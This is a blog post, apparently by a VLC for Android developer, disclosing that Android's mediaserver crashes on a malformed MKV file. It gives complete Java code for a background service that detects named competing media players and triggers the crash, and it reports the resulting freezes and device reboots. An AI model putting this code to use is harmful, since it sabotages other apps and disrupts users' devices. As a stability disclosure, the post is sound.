In this article, I will show how easy it is to cripple or even crash a competing multimedia-oriented application on Android with only a few lines of code.

Summary (aka TLDR)

On Android, in order to do HW decoding, an application must communicate with a process that has access to the HW codecs. However this process is easy to crash if you send it a selected MKV file. It is possible to create an Android service that checks if a competing media player is currently running and then crash the media process, thus stopping HW decoding for this player. As a result, the media player app can also crash and your phone can even reboot.

Mediaserver

Presentation

I have been contributing to the open source projects VLC and VLC for Android in the last few months. I worked on the implementation of an efficient hardware acceleration module for our Android application using the MediaCodec and the OpenMAX APIs. Since your average Android application does not have sufficient permission to access /dev/* entries on your system, you must use a proxy called the mediaserver in order to communicate with HW codecs. The mediaserver works with an IPC mechanism, for instance if you want to perform HW accelerated decoding of an H264 file, you ask the mediaserver to create a decoder and you call methods on this decoder using IPC.

Internally, the mediaserver is using the OpenMAX IL (OMXIL) API to manipulate HW codecs. For HW decoding, userland applications can either use IOMX (OpenMAX over IPC) or the more recent and standardized API called MediaCodec (API level 16).

Strengths and weaknesses

Using HW accelerated video decoding offers many advantages: you use less battery and you can potentially get significantly better performance. My Nexus 5 phone can only decode 4K videos with HW acceleration. Using the MediaCodec API you can even remove memory copies introduced by the IPC mechanism of mediaserver: you can directly render the frames to an Android surface. Unfortunately, there are also disadvantages: HW codecs are usually less resilient and are more likely to fail if the file is slightly ill-formed. Also, I don't know any HW codec on Android able to handle the Hi10P H264 profile.

The mediaserver on Android also has its own weaknesses: since there is only one process running, if it crashes, all connected clients will suddenly receive an error with almost no chance of recovery. Unfortunately, the mediaserver source code has many calls to CHECK() which is basically assert() but not stripped from release builds. This call is sometimes used to check values that were just read from a file, see for instance the MatroskaExtractor file. When testing HW acceleration for VLC, we noticed random crashes during video playback, sometimes after 20 minutes of flawless HW decoding.

Mediacrasher

The mediaserver is both easy to crash and essential for all media players applications in order to use HW decoding. Therefore, I realized it would be easy to create a small application that detects if a competing media player is started and then crashes the mediaserver to stop HW decoding. Depending on the app, and on luck too, the media player can crash or decide to fallback to SW. If the video is too large for SW decoding, playback will stutter.

After a bit of testing on the impressive collection of buggy video samples we have at VideoLAN, I found one that deterministically crashes (on my Nexus 5 with 4.4.2, your mileage may vary) the mediaserver when using the MediaScanner API. The sample can be found here. Ironically, it seems to be a test file for the MKV container format:



The evil plan for crashing competing apps can now be achieved with only a few simple steps:

- Starts an Android service (code running in background even if the calling app is not in foreground).

- Frequently monitors which apps are running and looks for known media players like VLC or the Android stock player.

- Uses MediaScannerConnection on the CONT-4G.mkv file, the mediaserver crashes and the media player will immediately receives an error if it was using HW codecs.

I've developed a small test application, and it works fine. Of course, VLC does not use this wicked technique, since it's an open source project you can check yourself in the source code of VLC and VLC for Android.

This looks extreme, and I hope no application will ever use this technique on purpose, but I wanted to show the stability issues we currently encounter with mediaserver. Actually, some services are already regularly crashing the mediaserver on my device, for instance while thumbnailing or extracting metadata from the files on your device; but they don't do that on purpose, I think...

Code

The code is short, first is the main Activity, it simply starts our service:

public class MainActivity extends Activity { @Override public void onCreate ( Bundle savedInstanceState ) { super . onCreate ( savedInstanceState ) ; startService ( new Intent ( MainActivity. this , MediaCrasherService. class ) ) ; Toast toast = Toast. makeText ( MainActivity. this , "MediaCrasher service started" , Toast. LENGTH_SHORT ) ; toast. show ( ) ; finish ( ) ; } } public class MainActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); startService(new Intent(MainActivity.this, MediaCrasherService.class)); Toast toast = Toast.makeText(MainActivity.this, "MediaCrasher service started", Toast.LENGTH_SHORT); toast.show(); finish(); } }

The service looks at running apps and starts a MediaCrasherConnection with our special file to crash the mediaserver:

public class MediaCrasherService extends IntentService { private class MediaCrasherClient implements MediaScannerConnection. MediaScannerConnectionClient { private String filename ; private MediaScannerConnection connection ; public MediaCrasherClient ( Context ctx, String path ) { filename = path ; connection = new MediaScannerConnection ( ctx, this ) ; connection. connect ( ) ; } @Override public void onMediaScannerConnected ( ) { connection. scanFile ( filename, null ) ; } @Override public void onScanCompleted ( String path, Uri uri ) { connection. disconnect ( ) ; } } public MediaCrasherService ( ) { super ( "MediaCrasherService" ) ; } @Override protected void onHandleIntent ( Intent intent ) { for ( int i = 0 ; i < 12 ; ++ i ) { /* Do not run mediacrasher for ever. */ try { Thread . sleep ( 10000 ) ; } catch ( InterruptedException e ) { /* nothing */ } ActivityManager activityManager = ( ActivityManager ) this . getSystemService ( ACTIVITY_SERVICE ) ; List < RunningAppProcessInfo > procInfos = activityManager. getRunningAppProcesses ( ) ; for ( int j = 0 ; j < procInfos. size ( ) ; ++ j ) { RunningAppProcessInfo procInfo = procInfos. get ( j ) ; String processName = procInfo. processName ; if ( procInfo. importance == ActivityManager. RunningAppProcessInfo . IMPORTANCE_FOREGROUND && ( processName. equals ( "org.videolan.vlc" ) || processName. equals ( "com.mxtech.videoplayer.ad" ) || processName. equals ( "com.inisoft.mediaplayer.a" ) || processName. equals ( "com.google.android.videos" ) || processName. equals ( "com.google.android.youtube" ) || processName. equals ( "com.archos.mediacenter.videofree" ) ) ) { String path = "/sdcard/Download/CONT-4G.mkv" ; MediaCrasherClient client = new MediaCrasherClient ( MediaCrasherService. this , path ) ; } } } } } public class MediaCrasherService extends IntentService { private class MediaCrasherClient implements MediaScannerConnection.MediaScannerConnectionClient { private String filename; private MediaScannerConnection connection; public MediaCrasherClient(Context ctx, String path) { filename = path; connection = new MediaScannerConnection(ctx, this); connection.connect(); } @Override public void onMediaScannerConnected() { connection.scanFile(filename, null); } @Override public void onScanCompleted(String path, Uri uri) { connection.disconnect(); } } public MediaCrasherService() { super("MediaCrasherService"); } @Override protected void onHandleIntent(Intent intent) { for (int i = 0; i < 12; ++i) { /* Do not run mediacrasher for ever. */ try { Thread.sleep(10000); } catch (InterruptedException e) { /* nothing */ } ActivityManager activityManager = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE); List<RunningAppProcessInfo> procInfos = activityManager.getRunningAppProcesses(); for (int j = 0; j < procInfos.size(); ++j) { RunningAppProcessInfo procInfo = procInfos.get(j); String processName = procInfo.processName; if (procInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND && (processName.equals("org.videolan.vlc") || processName.equals("com.mxtech.videoplayer.ad") || processName.equals("com.inisoft.mediaplayer.a") || processName.equals("com.google.android.videos") || processName.equals("com.google.android.youtube") || processName.equals("com.archos.mediacenter.videofree"))) { String path = "/sdcard/Download/CONT-4G.mkv"; MediaCrasherClient client = new MediaCrasherClient(MediaCrasherService.this, path); } } } } }

Results

I tested my program on some media players available on Android and here are the results:

- VLC: short freeze and then shows a dialog informing the user that HW acceleration failed and asking him if he wants to restart with SW decoding.

- DicePlayer: freezes the player, force quit is needed.

- MX Player: silent fallback to SW decoding, but the transition is visible since the video goes back in time a few seconds.

- Archos Video Player: reboots your device.

- Play Films: reboots your device.

- Youtube: stops playback, the loading animation never stops and the video display turns black.

Thanks

I would like to thanks Martin Storsjö and Ludovic Fauvet for their help on Android since I started working on VLC.